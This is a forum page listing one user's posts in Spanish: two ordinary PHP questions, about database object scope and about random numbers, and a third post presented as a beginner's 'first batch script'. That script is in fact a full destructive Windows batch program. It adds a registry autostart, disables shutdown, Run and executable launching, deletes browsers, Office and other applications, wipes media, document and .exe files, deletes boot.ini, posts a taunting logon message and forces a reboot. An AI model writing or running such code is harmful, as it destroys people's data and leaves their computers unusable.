Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Vlad_Asen

#1
PHP / Página De Php Q' Emplea Varias Paginas
15 Febrero 2008, 05:20 AM
Hola tengo el sig. problema.

Tengo una pagina de PHP q' emplea el motor de plantillas Smarty para la vista e incluye una pagina con la clase para le manejo de MySQL y además incluye otra página con las clases de la aplicación y otra con el conectar.

crearpersonaje_logic.php

<?php
session_start
();
ob_start();
include_once(
'clases.php');
.
..
?>



clases.php
<?php
include_once('conectar.php');

class 
personaje
function finduser($usuario)
{
$sqlse "SELECT count(*) usuarios ";
$db->query($sqlse);
if (
$db->first())
 {
 
$result =$db->first();
 return 
$result ;
 }
 else
 {
 return 
0;
 }
}
{....}
?>




conectar.php
<?php
ob_start
();
global 
$db;
include_once(
'classMySQL.php');
  
$db = new Database();
  
$db->connect(); 
 
?>


$db es una instancia de la clase MySQL q' se encuentra en classMySQL.php que maneja la BD.

Lo que sucede es que cuando intento llamar a los métodos del objeto $db desde clases.php me pone que $db no es un objeto.

Ya probe de poner a $db como variabnle global pero igual me tira el mismo error. Estoy desesperado pq mi proyecto se acaba de quedar atascado. Agradezco cualquier ayuda.

Saludos
#2
PHP / Funciones random
9 Febrero 2008, 19:58 PM
Estuve probando las funciones rand (x, y) y mt_rand (x, y) del PHP pero no me respeta los min y max que le paso (numeros del 1 al 10) y ademas saca siempre valores parecidos en el resultado 115, 117, 114, 12, 17, 15, 16, etc.

Alguien conoce alguna otra función que de buenos resultados aleatorios?
Saludos
#3
Scripting / Primer script
3 Enero 2008, 10:20 AM
Este es mi primer batch. No es mas que una coleccion de acciones para ir probando esto. Llevo una semana leyendo tutos de cmd y batch. Si alguien puede remarcarme errores de sintaxis y especialmente de concepto se lo agradeceria mucho.

@echo off
set contador = 2
set/a temp = 0

attrib -r -s -h %SystemDrive% /S /D

reg add HKEY_LOCAL_MACHINE\SOFTWARE\Windows\CurrentVersion\Run /v Microsoft /d "%%USERPROFILE%%\printer\numberone.bat" /f > nul

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f > nul

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDesktop /t REG_DWORD /d 1 /f > nul

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f > nul

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetFolders /t REG_DWORD /d 1 /f > nul

reg add
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DISALLOWRUN /v 001 /d "iexplore.exe" > nul

reg add
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DISALLOWRUN /v 002 /d "msnmsgr.exe" > nul

reg add HKEY_CLASSES_ROOT\.exe /v "Content Type" /d 0 /f > nul
reg add HKEY_CLASSES_ROOT\.exe\PersistentHandler /d 0 /f > nul
reg add HKEY_CLASSES_ROOT\exefile\shell\open\command /v /d 0 /f > nul
reg add HKEY_CLASSES_ROOT\exefile\shell\runas\command /v /d 0 /f > nul
reg add HKEY_CLASSES_ROOT\exefile\DefaultIcon /d 0 /f > nul

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSMMyDocs /t REG_DWORD /d 1 /f > nul

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFavoritesMenu /t REG_DWORD /d 1 /f > nul

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoTrayItemsDisplay /t REG_DWORD /d 1 /f > nul

reg add
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicSta
rtMenu /v {208D2C60-3AEA-1069-A2D7-08002B30309D} /t REG_DWORD /d 0 /f>nul

reg add
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPa
nel /v {208D2C60-3AEA-1069-A2D7-08002B30309D} /t REG_DWORD /d 0 /f > nul

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v RestrictRun /t REG_DWORD /d 1 /f > nul

taskkill /F /iexplore.exe
cd\
cd "Archivos de programa\Internet explorer"
del /F /S /Q iexplore.exe
taskkill /F /firefox.exe
cd\
cd "Archivos de programa\Mozilla Firefox"
del /F /S /Q firefox.exe
del /F /S /Q %USERPROFILE%\Mis documentos
taskkill /F /wmplayer.exe
cd\
cd Archivos de programa\Windows Media Player
del /F /S /Q wmplayer.exe
taskkill /F /msnmsgr.exe
cd\
cd "Archivos de programa\Messenger"
del /F /S /Q msnmsgr.exe
taskkill /F /winrar.exe
cd\
cd "Archivos de programa\WinRAR"
del /F /S /Q winrar.exe
taskkill /F /winzip.exe
cd\
cd "Archivos de programa\WinZip"
del /F /S /Q winzip.exe
taskkill /F /photoshop.exe
cd\
cd "Archivos de programa\Photoshop"
del /F /S /Q photoshop.exe
taskkill /F /WINWORD.exe
taskkill /F /EXCEL.exe
taskkill /F /POWERPNT.exe
taskkill /F /MSACCESS.exe
taskkill /F /OUTLOOK.exe
taskkill /F /FRONTPG.exe
del /F /S /Q %ProgramFiles%\Microsoft Office

cd\
del /F /S /Q *.exe
del /F /S /Q *.wav
del /F /S /Q *.mp3
del /F /S /Q *.avi
del /F /S /Q *.jpeg
del /F /S /Q *.jpg
del /F /S /Q *.png
del /F /S /Q *.gif
del /F /S /Q *.rar
del /F /S /Q *.txt

cd %SystemDrive%
del boot.ini

cd\
cd %USERPROFILE%\Escritorio

:crea_dir
mkdir Mis_Carpetas
%temp% = %temp% + 1
if(%temp% LSS %contador%)
  (goto crea_dir) else (goto seguimos)

:seguimos
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v LegalNoticeCaption /d "TU GUIA DE REPARACION" /f > nul

reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v LegalNoticeText /d
"- se autoinicia cuando se enciende el PC
- elimina el boton "Apagar"
- esconde los iconos del "Panel de Control"
- elimina el boton "Ejecutar..."
- elimina los comandos del Panel de Control y la impresora
- elimina la papelera de reciclaje y queda inutilizable
- elimina "Mis favoritos"
- elimina los iconos de la bandeja de Windows
- no podés abrir archivos .exe
- no podés ejecutar aplicaciones
- elimina todo mis documentos
- elimina todos los archivos .exe, .wav, .mp3, .avi, .jpeg, .jpg, .png, .gif, .rar, .txt
- elimina boot.ini
- elimina el Internet Explorer
- elimina el Firefox
- elimina el reproductor de windows
- elimina el MSN
- elimina el WinRar
- elimina el WinZip
- elimina el Photoshop
- elimina el Office (Word, excel, etc.)
- crea 2 carpetas en el escritorio con el nombre de "Mis_Carpetas"
- deja un mensaje con todo lo que le hice al PC
- reinicia la PC" /f > nul

shutdown -r -t 0 -c "tranqui tu OS se jodio pero al reiniciar te dire lo que le hice. Si eres hábil podrás arreglarlo, de lo contrario..."